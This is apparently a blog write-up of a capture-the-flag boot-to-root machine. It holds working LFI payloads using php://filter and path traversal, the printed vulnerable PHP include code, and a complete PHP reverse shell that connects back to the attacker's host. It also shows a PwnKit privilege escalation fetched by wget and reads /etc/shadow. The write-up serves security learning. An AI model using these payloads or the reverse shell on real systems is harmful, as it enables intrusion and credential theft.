← All blogs Sagnik Ghosh

Amongus: Spectronas CTF 2026 B2R

Amongus B2R Writeup

NMAP report

# Nmap 7.98 scan initiated Sun Oct  4 20:47:39 2026 as: nmap -p- --min-rate 1000 -sV -sC --reason -oA nmap_report 192.168.56.103
Nmap scan report for 192.168.56.103
Host is up, received syn-ack (0.00015s latency).
Not shown: 65524 closed tcp ports (conn-refused)
PORT      STATE SERVICE     REASON  VERSION
21/tcp    open  ftp         syn-ack vsftpd 2.0.8 or later
22/tcp    open  ssh         syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 15:e6:39:1f:d4:7e:73:f8:ce:c6:8b:8a:62:68:25:dc (RSA)
|   256 87:3d:ac:b5:02:ec:11:a1:f0:7e:94:c1:dd:14:f2:03 (ECDSA)
|_  256 d9:f4:ac:fc:7e:56:ef:e7:50:1b:d0:44:9c:8d:11:bc (ED25519)
80/tcp    open  http        syn-ack Apache httpd 2.4.29
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 404 Not Found
111/tcp   open  rpcbind     syn-ack 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      37017/tcp   mountd
|   100005  1,2,3      44419/tcp6  mountd
|   100005  1,2,3      51227/udp   mountd
|   100005  1,2,3      55171/udp6  mountd
|   100021  1,3,4      32865/tcp   nlockmgr
|   100021  1,3,4      36969/tcp6  nlockmgr
|   100021  1,3,4      48477/udp6  nlockmgr
|   100021  1,3,4      57624/udp   nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
139/tcp   open  netbios-ssn syn-ack Samba smbd 4
445/tcp   open  netbios-ssn syn-ack Samba smbd 4
2049/tcp  open  nfs         syn-ack 3-4 (RPC #100003)
32865/tcp open  nlockmgr    syn-ack 1-4 (RPC #100021)
37017/tcp open  mountd      syn-ack 1-3 (RPC #100005)
39659/tcp open  mountd      syn-ack 1-3 (RPC #100005)
44147/tcp open  mountd      syn-ack 1-3 (RPC #100005)
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
|_nbstat: NetBIOS name: AMONGUS, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-time: 
|   date: 2026-10-04T15:17:50
|_  start_date: N/A
|_clock-skew: -2s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Oct  4 20:47:55 2026 -- 1 IP address (1 host up) scanned in 16.69 seconds


I enumerated smb on the target and got a null session.....

cmd --> smbclient -L //192.168.56.103/ -N

Anonymous login successful

	Sharename       Type      Comment
	---------       ----      -------
	noticeboard     Disk      
	IPC$            IPC       IPC Service (Skeld Emergency Storage Node)
SMB1 disabled -- no workgroup available

Connected to noticeboard and found a note.txt

note.txt

This clearly hints at brute forcing the ftp password.

I had no idea of the username yet so now i looked into the apache web server.

Also, the host was provided in the challenge description already as amongus.ctf

This was the home page.

The page linked to some other directories which lead to the different rooms of the skeld.

Every other room seemed okay except the engine.

At the /engine,

There seems that someone has been killed in the engine room.

Upon inspection of the html pages of the different endpoints,
I found several html comments throughout the website.


-- /cafeteria ---
<!--The emergency button isn't here. You need to call a meeting to discuss, but the comms seem to be on a different channel.-->

--- / ---
<!--find the aW1wb3N0ZXI=--> == decodes to "imposter"

--- /admin ---
<!--Y2FsbCB0aGUgZW1lcmdlbmN5IG1lZXRpbmc=-->  == decodes to "call the emergency meeting"

--- /security ---
<!--"The Imposter has vented and can see things the crew cannot.-->

--- /weapons ---
<!--Weapons are for defense, but they can be used for offense.

IT HAD UNCLOSED COMMENTS


Ran ffuf for fuzzing webdirectories using usual lists but found nothing unusual.

Also ran ffuf for vhost fuzzing and found a meeting.amongus.ctf .

Inspected the Images directory and got some extra gifs of the imposter killing and an audio file called emergency.mp3.

I guessed that they have to be somewhere but i could not get the endpoint at first.

But after some enumeration I found the /imposter endpoint which led to those pages..

This page led to the same vhost meeting.amongus.ctf

URL : http://meeting.amongus.ctf/?vote=imposter

When enumerating through this vhost, found nothing important in the source code or any comments.

Then while tampering with the vote parameter, I got an error on

http://meeting.amongus.ctf/?vote=imposter' 

Error:

You can see that the .php extension is added by default, which causes the problem in fetching the file.

By this time, we have got some specific file information

There are files named

imposter.php
index.php

Use php filter chain abuse to get the contents of these files

URL: http://meeting.amongus.ctf/?vote=php://filter/convert.base64-encode/resource=imposter

imposter.php

<div class="result-box">
    <h1 class="impostor-text">NOT WHO YOU THOUGHT</h1>
    <img src="Storage/kill<?php echo rand(1,8); ?>.gif" class="result-img">
</div>

When you go to fetch index.php using directly resource=index... It shows that only imposter is allowed there, so we use a directory traversal method to fetch the index.php while keeping the imposter in the text in parameter.

URL: http://meeting.amongus.ctf/?vote=php://filter/convert.base64-encode/resource=imposter/../index

index.php

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Meeting</title>
<link rel="stylesheet" href="style.css">
</head>

<body>

<div class="container">
    <h1>Who Is The Impostor?</h1>

    <div class="players">

        <?php for($i=1; $i<=9; $i++): ?>
            <div class="player-card">
                <img src="Storage/crewmate<?php echo $i; ?>.png">
                <a href="?vote=imposter" class="vote-btn">
                    <img src="Storage/Confirm.png" class="tick">
                </a>

                <a href="#" class="cancel-btn">
                    <img src="Storage/Cancel.png" class="tick">
                </a>
            </div>
        <?php endfor; ?>
    </div>

    <div class="bottom">
        <button class="skip">SKIP VOTE</button>
        <div class="timer">Voting Ends In: 150s</div>
    </div>
</div>
<br>
<div class="load">
    <?php
        error_reporting(E_ALL);
        ini_set('display_errors', 1);
        function containsStr($str, $substr) {
            return strpos($str, $substr) !== false;
            }

        $ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';

        if(isset($_GET['vote'])) {
            if(containsStr($_GET['vote'], 'imposter')) {
                include $_GET['vote'] . $ext;
            } else {
            echo 'Only "imposter"  allowed Here';
            }
}
?>

</div>

<script>
    const cards = document.querySelectorAll('.player-card');

    cards.forEach(card => {
        card.addEventListener('click', function() {

            cards.forEach(c => c.classList.remove('active'));

            this.classList.add('active');

        });
    });

</script>

</body>
</html>


After reading the index.php, we can null out the forced extension using the parameter ext=0...

Now we can fetch the /etc/passwd file giving LFI vulnerability.

URL: http://meeting.amongus.ctf/?vote=imposter/../../../../../../etc/passwd&ext=

So, we have got arbitary file read...

So, if we somehow can upload a shell to the server and fetch the file from there, we can get a webshell.

Now we enumerate the nfs shares, to see if there is anything for us to mount on...


showmount -e 192.168.56.103       


Export list for 192.168.56.103:
/home/imposter/communication *


Inspecting further we can see that the folder is empty but writable, So we upload a shell.php there.

Uploaded shell.php



<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.56.1';
$port = 9001;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>


URL: http://meeting.amongus.ctf/?vote=imposter/../../../../../../home/imposter/communication/shell.php&ext=

Got the ssh creds from this file for the user imposter ..


$ cat s3cret.txt.bak
# Skeld Backup Configuration
# Last Modified: 2026-02-19

ssh_user=imposter
ssh_pass=TrustNo0ne

We get the user flag at /home/imposter/imposter1.txt

imposter1.txt

finally you eject one imposter:

HKSTR{v0t3_c4r3fully_0r_d13}

While checking the perms of the user, we get a binary called

/usr/bin/pkexec

This is a known CVE... PwnKit vulnerability (CVE-2021-4034)

I used this exploit: https://github.com/ly4k/PwnKit

Downloaded the binary and put the binary on the victim machine by opening a python server on my machine and wget-tting it there.
changed the perms of the pwnkit there and ran it, which gave us root..

/root/root.txt

Congratulations, Player.

If you are reading this, you’ve made it far — and earned it.

But remember… the flag does not reveal itself easily.
Look deeper.

It rests within the shadow file.

We look into the /etc/shadow and get the root flag there.